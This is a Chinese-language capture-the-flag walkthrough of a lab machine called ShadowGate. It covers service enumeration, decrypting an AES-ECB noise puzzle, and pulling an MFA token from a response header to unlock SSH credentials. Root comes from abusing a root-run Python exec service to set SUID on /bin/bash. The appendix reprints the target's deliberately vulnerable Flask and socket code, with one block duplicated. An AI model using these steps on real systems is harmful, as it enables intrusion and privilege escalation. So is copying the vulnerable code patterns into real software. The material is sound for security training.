TheHackersLabs-ShadowGate-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.181 08:00:27:39:d4:31 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f9:9e:37 VMware, Inc.

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.093 seconds (122.31 hosts/sec). 4 responded
export ip=192.168.60.181
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.181:22
Open 192.168.60.181:8080
Open 192.168.60.181:56789
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 13:39 CST
Initiating ARP Ping Scan at 13:39
Scanning 192.168.60.181 [1 port]
Completed ARP Ping Scan at 13:39, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:39
Completed Parallel DNS resolution of 1 host. at 13:39, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:39
Scanning 192.168.60.181 [3 ports]
Discovered open port 22/tcp on 192.168.60.181
Discovered open port 8080/tcp on 192.168.60.181
Discovered open port 56789/tcp on 192.168.60.181
Completed SYN Stealth Scan at 13:39, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.60.181
Host is up, received arp-response (0.00092s latency).
Scanned at 2025-05-14 13:39:41 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
56789/tcp open unknown syn-ack ttl 64
MAC Address: 08:00:27:39:D4:31 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)

有个8080端口开放,尝试目录枚举一下

扫的很慢,得到/login目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -u http://$ip:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403,503
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.181:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404,403,503
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 39]
Progress: 17045 / 6369165 (0.27%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 17045 / 6369165 (0.27%)
===============================================================
Finished
===============================================================

探测服务技术栈,是利用pthonFlask框架搭建的

难怪扫的这么慢,正常了

1
2
❯ whatweb http://$ip:8080
http://192.168.60.181:8080 [404 Not Found] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.1.3 Python/3.12.3], IP[192.168.60.181], Python[3.12.3], Title[404 Not Found], Werkzeug[3.1.3]

利用nc探测一下56789端口

倒是得到一些提示n0cturne关键字,patterns藏在噪声中

1
2
3
4
5
6
❯ nc -vn $ip 56789
(UNKNOWN) [192.168.60.181] 56789 (?) open
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
Listening... but no response.
阴影之门 v1.0 :: 并非所有的门都是锁着的。有些在等待 n0cturne。仔细聆听——模式隐藏在噪音中。顺序总是很重要。
正在聆听...但没有回应。

端口56789

我尝试输入n0cturne

得到回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nc -vn $ip 56789
(UNKNOWN) [192.168.60.181] 56789 (?) open
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
n0cturne
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
YzRmN2QzNQ==
D6m1pc/igzvu6zKAwqX6bg==
E1+wVZ8kIqqfNNpwD5mAug==
tBlm2pYCccezEWBr/tQYtw==
UCijuDau3Rs4jBWQCfoKkQ==
cqGUqbwMNeVhb7ZMQ55gvw==
B1pcZxiQiLFTP3Na0omybQ==
mfXjVqEC/7xAnjy0Qn6QNA==
uODfgmMnTsbMfXZgagb+8g==
Connection closing...

分别解码一下,得到c4f7d35还有一些脏数据,结合上面的提示,那就是噪声了

1
2
echo "YzRmN2QzNQ=="|base64 -d
c4f7d35

除了第一行的数据,其他行都是随机生成的噪声

不过当我再次输入c4f7d35会显示访问被拒绝,不对,是任何字符都会被拒绝

1
2
3
4
5
❯ nc -vn $ip 56789
(UNKNOWN) [192.168.60.181] 56789 (?) open
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
c4f7d35
Access denied. The gate remains closed.

换到8080端口上吧,利用curl访问一下

只可以利用POST方式访问/login目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ curl "http://$ip:8080"
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
❯ curl "http://$ip:8080/login"
Wrong method. But you found the path...%
❯ curl "http://$ip:8080/login" -X POST
<!doctype html>
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don&#39;t have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>
您无权访问请求的资源。该资源可能受阅读保护或无法被服务器读取。
❯ curl "http://$ip:8080/login" -X POST -d ""
Echoes in the void. Syntax? Format? Who knows...%
虚空中的回声。语法?格式?谁知道呢...

我尝试将c4f7d35作为数据,得到新的提示

1
2
3
❯ curl "http://$ip:8080/login" -X POST -d "c4f7d35"
Whispers of failure. Wrong key? Wrong path?%
失败的低语。钥匙错了?路错了?%

但我们只有一条有效信息

查看Macii的WP后得知,那个是添加了噪声的关键信息,并且噪声是随机的,所以每次生成的base64都不同

c4f7d35作为密钥并且使用AES_ECB算法解密每组Base64数据,并提取每一段的首字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES
from hashlib import sha256
import base64

clave = 'c4f7d35'
textos = [
'D6m1pc/igzvu6zKAwqX6bg==',
'E1+wVZ8kIqqfNNpwD5mAug==',
'tBlm2pYCccezEWBr/tQYtw==',
'UCijuDau3Rs4jBWQCfoKkQ==',
'cqGUqbwMNeVhb7ZMQ55gvw==',
'B1pcZxiQiLFTP3Na0omybQ==',
'mfXjVqEC/7xAnjy0Qn6QNA==',
'uODfgmMnTsbMfXZgagb+8g=='
]

def decrypt_full_block(text):
# 生成密钥
clave_sha = sha256(clave.encode()).digest()

# 创建解密器
cipher = AES.new(clave_sha, AES.MODE_ECB)

# Base64解码并解密
encrypted_data = base64.b64decode(text.encode())
decrypted_data = cipher.decrypt(encrypted_data)

# 返回完整16字节(包含噪声)
return decrypted_data.decode('latin-1', errors='replace') # 处理非常规字符

# 解密所有文本
for idx, text in enumerate(textos):
full_plaintext = decrypt_full_block(text)
print(f"密文 {idx+1}: {text}")
print(f"完整明文: {full_plaintext}")
print("-" * 50)

# 单独提取有效字符(如果需要)
print("\n有效字符序列:")
for text in textos:
full_plaintext = decrypt_full_block(text)
print(full_plaintext[0], end="")

执行后得到v4u1tgx9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ python3 decrypt.py
密文 1: D6m1pc/igzvu6zKAwqX6bg==
完整明文: v^`yrHg"Qn~bXsq8
--------------------------------------------------
密文 2: E1+wVZ8kIqqfNNpwD5mAug==
完整明文: 49<&JRcZyS+T_E6d
--------------------------------------------------
密文 3: tBlm2pYCccezEWBr/tQYtw==
完整明文: uc>?Ir'+`N9T/sYK
--------------------------------------------------
密文 4: UCijuDau3Rs4jBWQCfoKkQ==
完整明文: 1AM?m,g'Y/EXZ"RO
--------------------------------------------------
密文 5: cqGUqbwMNeVhb7ZMQ55gvw==
完整明文: t#M8rAn/8LXy|N0g
--------------------------------------------------
密文 6: B1pcZxiQiLFTP3Na0omybQ==
完整明文: g@%[<OxQ7If6Z+$g
--------------------------------------------------
密文 7: mfXjVqEC/7xAnjy0Qn6QNA==
完整明文: xIJx/xX+:Yx`rAR}
--------------------------------------------------
密文 8: uODfgmMnTsbMfXZgagb+8g==
完整明文: 9YxUa+h|/p$|^wQJ
--------------------------------------------------

有效字符序列:
v4u1tgx9

端口8080

利用此用户名尝试进行登录

1
2
3
❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9"
Token dispatched. You just have to look... sideways.
Token已发送。你只需要侧着看……

根据提示我们查看一下Token信息

额外得到X-Shadow-Clue值和X-Shadow-MFA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9" -v -s
* Trying 192.168.60.181:8080...
* Connected to 192.168.60.181 (192.168.60.181) port 8080
* using HTTP/1.x
> POST /login HTTP/1.1
> Host: 192.168.60.181:8080
> User-Agent: curl/8.13.0
> Accept: */*
> Content-Length: 17
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 17 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: Werkzeug/3.1.3 Python/3.12.3
< Date: Wed, 14 May 2025 08:01:39 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 52
< X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
< X-Shadow-MFA: 704496
< Connection: close
<
* shutting down connection #0
Token dispatched. You just have to look... sideways.%

我尝试模糊测试一下,携带此Cookie枚举其他目录

得到verify目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ wfuzz -c -u http://192.168.60.181:8080/FUZZ -d "username=v4u1tgx9" -H "X-Shadow-Clue:wrHCp8O4wrXCtsOlw5/Dvg==" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hc 403
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.60.181:8080/FUZZ
Total requests: 207643

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000053: 200 0 L 8 W 52 Ch "login"
000005249: 200 0 L 2 W 18 Ch "verify"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 50.41296
Processed Requests: 6223
Filtered Requests: 6221
Requests/sec.: 123.4404

尝试访问一下

1
2
3
❯ curl "http://$ip:8080/verify" -X POST -d "username=v4u1tgx9" -s -H "X-Shadow-Clue:wrHCp8O4wrXCtsOlw5/Dvg=="
Token inválido o caducado.
令牌无效或已过期。

那就再重新在login获取X-Shadow-MFA,因为MFA每次访问都会变化

原来token是在POST的data数据段中,而不是请求头信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9" -s -v
* Trying 192.168.60.181:8080...
* Connected to 192.168.60.181 (192.168.60.181) port 8080
* using HTTP/1.x
> POST /login HTTP/1.1
> Host: 192.168.60.181:8080
> User-Agent: curl/8.13.0
> Accept: */*
> Content-Length: 17
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 17 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: Werkzeug/3.1.3 Python/3.12.3
< Date: Wed, 14 May 2025 08:27:36 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 52
< X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
< X-Shadow-MFA: 343775
< Connection: close
<
* shutting down connection #0
Token dispatched. You just have to look... sideways.%
❯ curl "http://$ip:8080/verify" -X POST -d "username=v4u1tgx9&token=343775" -s
Acceso concedido. Servicio activo.%
访问已授予。服务已激活。

利用nc再次连接一下

得到ssh连接凭证

1
2
3
4
5
6
7
❯ nc -vn $ip 56789
(UNKNOWN) [192.168.60.181] 56789 (?) open
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
SSH login for user mars
mars:sshpassword123
Connection closing...

用户提权

尝试连接一下

用户没有sudo权限

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh mars@$ip
The authenticity of host '192.168.60.181 (192.168.60.181)' can't be established.
ED25519 key fingerprint is SHA256:/pWWlb/RzrJquNDUW93sWc9GTvJj3Uq8OGAR6Rpxzvg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.60.181' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Sat May 3 18:29:16 2025 from 192.168.1.38
mars@TheHackersLabs-Shadowgate:~$ cat user.txt
acf98ae58aaaf2378f9ba30975c2ad40
mars@TheHackersLabs-Shadowgate:~$ sudo -l
[sudo] password for mars:
Sorry, user mars may not run sudo on TheHackersLabs-Shadowgate.

不过可以看到本地开放了4444端口

1
2
mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ ss -luntp|grep 4444
tcp LISTEN 0 5 127.0.0.1:4444 0.0.0.0:*

Root提权

并且在/opt/shadow-tools/bin目录下存在shadow-client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ cat shadow-client.py
#!/usr/bin/env python3
import socket
import threading
import io
import contextlib

def handle_client(client_socket):
client_socket.send(b"Welcome to Shadow Client Helper\n")
client_socket.send(b"This is an unrestricted environment. Good luck, hacker.\n")
while True:
client_socket.send(b">>> ")
code = client_socket.recv(1024).decode().strip()
try:
output = io.StringIO()
with contextlib.redirect_stdout(output):
exec(code, globals())
result = output.getvalue()
if result.strip():
client_socket.send(result.encode())
except Exception as e:
client_socket.send(f"Error: {e}\n".encode())

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", 4444))
server.listen(5)
while True:
client, addr = server.accept()
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()

if __name__ == "__main__":
main()

审计代码,发现可以执行任意命令,并且没有过滤

执行python代码,发现运行的所属用户是root

给bash添加suid即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ nc 127.0.0.1 4444
Welcome to Shadow Client Helper
This is an unrestricted environment. Good luck, hacker.
>>> import os;output = os.popen("id").read();print(output)
uid=0(root) gid=0(root) groups=0(root)

>>> os.system("chmod +s /bin/bash")
>>> ^C
mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 mar 31 2024 /bin/bash
mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ bash -p
bash-5.2# whoami
root
bash-5.2# cat /root/root.txt
437a1660c02e61f6e2f59f15f90f52ae

后记

8080端口相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
from flask import Flask, request, make_response, abort
import subprocess, random, time, base64
from werkzeug.serving import make_server

app = Flask(__name__)
tokens = {} # 存储临时令牌
expiraciones = {} # 令牌过期时间

# 认证参数
USUARIO_VALIDO = "v4u1tgx9" # 合法用户名
TIEMPO_EXPIRACION = 120 # 令牌有效期(秒)

def respuesta_con_clave(mensaje, codigo=200):
"""创建带线索头的响应
Args:
mensaje: 响应内容
codigo: HTTP状态码
Returns:
Response: 包含加密线索头的响应对象
"""
response = make_response(mensaje, codigo)
clave_simb = "±§øµ¶åßþ" # 隐藏线索
clave_b64 = base64.b64encode(clave_simb.encode("utf-8")).decode("utf-8")
response.headers["X-Shadow-Clue"] = clave_b64 # 响应头添加线索
return response

@app.before_request
def control_acceso():
"""请求前置过滤器"""
user_agent = request.headers.get('User-Agent', '')
method = request.method
path = request.path

# 允许访问的路由配置
allowed_routes = {
'/': ['GET'],
'/login': ['GET', 'POST'],
'/verify': ['POST'],
'/validate': ['POST'],
'/check': ['POST'],
}

# 安全检测逻辑
if not user_agent or 'Nmap' in user_agent: # 拦截扫描工具
abort(403)

if path not in allowed_routes or method not in allowed_routes[path]:
abort(403)

if method == 'POST' and request.content_type != 'application/x-www-form-urlencoded':
abort(403)

@app.route('/login', methods=['GET', 'POST'])
def login():
"""登录处理路由"""
if request.method == 'GET':
return respuesta_con_clave("Wrong method...")

if not request.form:
return respuesta_con_clave("Echoes in the void...")

user = request.form.get('username', '')
if user != USUARIO_VALIDO:
return respuesta_con_clave("Username rejected.")

# 生成6位数字令牌
token = str(random.randint(100000, 999999))
tokens[user] = token
expiraciones[user] = time.time() + TIEMPO_EXPIRACION

print(f"[DEBUG] Token MFA generado para {user}: {token}") # 安全漏洞:日志泄露

response = respuesta_con_clave("Token dispatched...")
response.headers["X-Shadow-MFA"] = token # 安全漏洞:响应头明文传输令牌
return response

@app.route('/verify', methods=['POST'])
def verify():
"""令牌验证路由"""
user = request.form.get('username', '')
token = request.form.get('token', '')

# 验证逻辑
if user != USUARIO_VALIDO:
return respuesta_con_clave("Usuario no permitido.")
if user not in tokens or time.time() > expiraciones.get(user, 0):
return respuesta_con_clave("Token inválido o caducado.")
if tokens[user] != token:
return respuesta_con_clave("Código incorrecto.")

# 验证成功后的操作
subprocess.Popen(["systemctl", "restart", "shadow-gate"]) # 重启服务
open("/tmp/mfa_superado", "w").close() # 创建验证标志文件
return respuesta_con_clave("Acceso concedido.")

@app.route('/validate', methods=['POST'])
@app.route('/check', methods=['POST'])
def honeypot():
"""蜜罐路由"""
return respuesta_con_clave("Nice try...", 403)

class ServerWithTimeout:
"""带超时的HTTP服务器"""
def __init__(self, app, host, port):
self.server = make_server(host, port, app)
self.server.socket.settimeout(2) # 设置2秒超时

def serve_forever(self):
print("[+] Shadow Login activo en el puerto 8080")
self.server.serve_forever()

if __name__ == "__main__":
server = ServerWithTimeout(app, "0.0.0.0", 8080)
server.serve_forever()

56789端口相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/bin/env python3
# 导入所需库
import socket # 网络通信
import base64 # Base64编码解码
import random # 随机数生成
import string # 字符串处理
import os # 系统操作
import time # 时间控制
from Crypto.Cipher import AES # AES加密
from hashlib import sha256 # SHA256哈希

# 网络监听配置
HOST = "0.0.0.0" # 监听所有网络接口
PORT = 56789 # 服务端口号

# 硬编码凭证配置
usuario = "v4u1tgx9" # 预设用户名
clave_original = "c4f7d35" # 原始密钥(安全漏洞:明文存储)
clave_aes = sha256(clave_original.encode()).digest() # 生成AES密钥(SHA256哈希)

# 系统控制参数
CLAVE_DESBLOQUEO = "n0cturne" # 解锁密钥(触发加密挑战的密码)
FLAG_MFA = "/tmp/mfa_superado" # MFA验证成功标志文件路径
BANNER = 'Shadow Gate v1.0...\n' # 连接横幅(含隐喻提示)

def cifrar_caracter(c, key):
"""加密单个字符并添加随机填充
参数:
c (str): 待加密的单个字符
key (bytes): AES密钥

安全漏洞:
- 使用ECB模式(相同明文生成相同密文)
- 固定长度随机填充可被统计分析
"""
ruido = ''.join(random.choices(
string.ascii_letters + string.digits + string.punctuation,
k=15)) # 生成15字节随机噪声
bloque = (c + ruido).encode() # 构造 16字节 明文块(1字符+15噪声)
cipher = AES.new(key, AES.MODE_ECB) # ECB模式加密对象
cifrado = cipher.encrypt(bloque) # 执行加密
return base64.b64encode(cifrado).decode() # Base64编码返回

def mostrar_mensaje_ssh(conn):
"""发送伪造的SSH登录信息(迷惑功能)
设计目的:
- 混淆攻击者判断
- 隐藏真实服务特征
"""
conn.sendall(BANNER.encode())
time.sleep(1) # 延迟增加真实感
conn.sendall(b"SSH login for user mars\n") # 虚假用户信息
conn.sendall(b"mars:sshpassword123\n") # 伪造密码
conn.sendall(b"Connection closing...\n")
time.sleep(1)

def mostrar_reto_cifrado(conn):
"""执行加密挑战流程
关键步骤:
1. 发送Base64编码的原始密钥(安全漏洞:直接泄露密钥)
2. 逐个加密用户名字符
3. 添加网络延迟增加分析难度
"""
conn.sendall(BANNER.encode())
time.sleep(1.5)

# 发送原始密钥的Base64编码(可直接解码获取clave_original)
conn.sendall((base64.b64encode(clave_original.encode()) + b"\n"))
time.sleep(1.5)

# 逐字符加密用户名(可被逐个解密)
for c in usuario:
linea = cifrar_caracter(c, clave_aes)
conn.sendall((linea + "\n").encode())
time.sleep(1.5) # 延迟防止暴力破解

conn.sendall(b"Connection closing...\n")
time.sleep(1)

def main():
"""主服务逻辑
工作流程:
1. 检查MFA标志文件是否存在
2. 存在 -> 进入迷惑模式
3. 不存在 -> 验证解锁密钥
4. 验证成功 -> 触发加密挑战
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 端口复用
s.bind((HOST, PORT))
s.listen(5) # 最大挂起连接数
print(f"[+] Shadow Gate监听端口 {PORT}...")

while True:
conn, addr = s.accept() # 接受新连接
with conn:
print(f"[+] 来自 {addr[0]} 的连接")
conn.settimeout(3) # 设置超时
conn.sendall(BANNER.encode())

# 检查MFA验证状态
if os.path.exists(FLAG_MFA):
mostrar_mensaje_ssh(conn) # 进入迷惑模式
continue

# 解锁密钥验证
try:
data = conn.recv(1024).decode(errors='ignore').strip()
if data == CLAVE_DESBLOQUEO:
mostrar_reto_cifrado(conn) # 触发加密挑战
else:
conn.sendall(b"访问拒绝\n")
except socket.timeout:
conn.sendall(b"连接超时\n")

if __name__ == "__main__":
main()
#!/usr/bin/env python3
# 导入所需库
import socket # 网络通信
import base64 # Base64编码解码
import random # 随机数生成
import string # 字符串处理
import os # 系统操作
import time # 时间控制
from Crypto.Cipher import AES # AES加密
from hashlib import sha256 # SHA256哈希

# 网络监听配置
HOST = "0.0.0.0" # 监听所有网络接口
PORT = 56789 # 服务端口号

# 硬编码凭证配置
usuario = "v4u1tgx9" # 预设用户名
clave_original = "c4f7d35" # 原始密钥(安全漏洞:明文存储)
clave_aes = sha256(clave_original.encode()).digest() # 生成AES密钥(SHA256哈希)

# 系统控制参数
CLAVE_DESBLOQUEO = "n0cturne" # 解锁密钥(触发加密挑战的密码)
FLAG_MFA = "/tmp/mfa_superado" # MFA验证成功标志文件路径
BANNER = 'Shadow Gate v1.0...\n' # 连接横幅(含隐喻提示)

def cifrar_caracter(c, key):
"""加密单个字符并添加随机填充
参数:
c (str): 待加密的单个字符
key (bytes): AES密钥

安全漏洞:
- 使用ECB模式(相同明文生成相同密文)
- 固定长度随机填充可被统计分析
"""
ruido = ''.join(random.choices(
string.ascii_letters + string.digits + string.punctuation,
k=15)) # 生成15字节随机噪声
bloque = (c + ruido).encode() # 构造 16字节 明文块(1字符+15噪声)
cipher = AES.new(key, AES.MODE_ECB) # ECB模式加密对象
cifrado = cipher.encrypt(bloque) # 执行加密
return base64.b64encode(cifrado).decode() # Base64编码返回

def mostrar_mensaje_ssh(conn):
"""发送伪造的SSH登录信息(迷惑功能)
设计目的:
- 混淆攻击者判断
- 隐藏真实服务特征
"""
conn.sendall(BANNER.encode())
time.sleep(1) # 延迟增加真实感
conn.sendall(b"SSH login for user mars\n") # 虚假用户信息
conn.sendall(b"mars:sshpassword123\n") # 伪造密码
conn.sendall(b"Connection closing...\n")
time.sleep(1)

def mostrar_reto_cifrado(conn):
"""执行加密挑战流程
关键步骤:
1. 发送Base64编码的原始密钥(安全漏洞:直接泄露密钥)
2. 逐个加密用户名字符
3. 添加网络延迟增加分析难度
"""
conn.sendall(BANNER.encode())
time.sleep(1.5)

# 发送原始密钥的Base64编码(可直接解码获取clave_original)
conn.sendall((base64.b64encode(clave_original.encode()) + b"\n"))
time.sleep(1.5)

# 逐字符加密用户名(可被逐个解密)
for c in usuario:
linea = cifrar_caracter(c, clave_aes)
conn.sendall((linea + "\n").encode())
time.sleep(1.5) # 延迟防止暴力破解

conn.sendall(b"Connection closing...\n")
time.sleep(1)

def main():
"""主服务逻辑
工作流程:
1. 检查MFA标志文件是否存在
2. 存在 -> 进入迷惑模式
3. 不存在 -> 验证解锁密钥
4. 验证成功 -> 触发加密挑战
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 端口复用
s.bind((HOST, PORT))
s.listen(5) # 最大挂起连接数
print(f"[+] Shadow Gate监听端口 {PORT}...")

while True:
conn, addr = s.accept() # 接受新连接
with conn:
print(f"[+] 来自 {addr[0]} 的连接")
conn.settimeout(3) # 设置超时
conn.sendall(BANNER.encode())

# 检查MFA验证状态
if os.path.exists(FLAG_MFA):
mostrar_mensaje_ssh(conn) # 进入迷惑模式
continue

# 解锁密钥验证
try:
data = conn.recv(1024).decode(errors='ignore').strip()
if data == CLAVE_DESBLOQUEO:
mostrar_reto_cifrado(conn) # 触发加密挑战
else:
conn.sendall(b"访问拒绝\n")
except socket.timeout:
conn.sendall(b"连接超时\n")

if __name__ == "__main__":
main()

总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务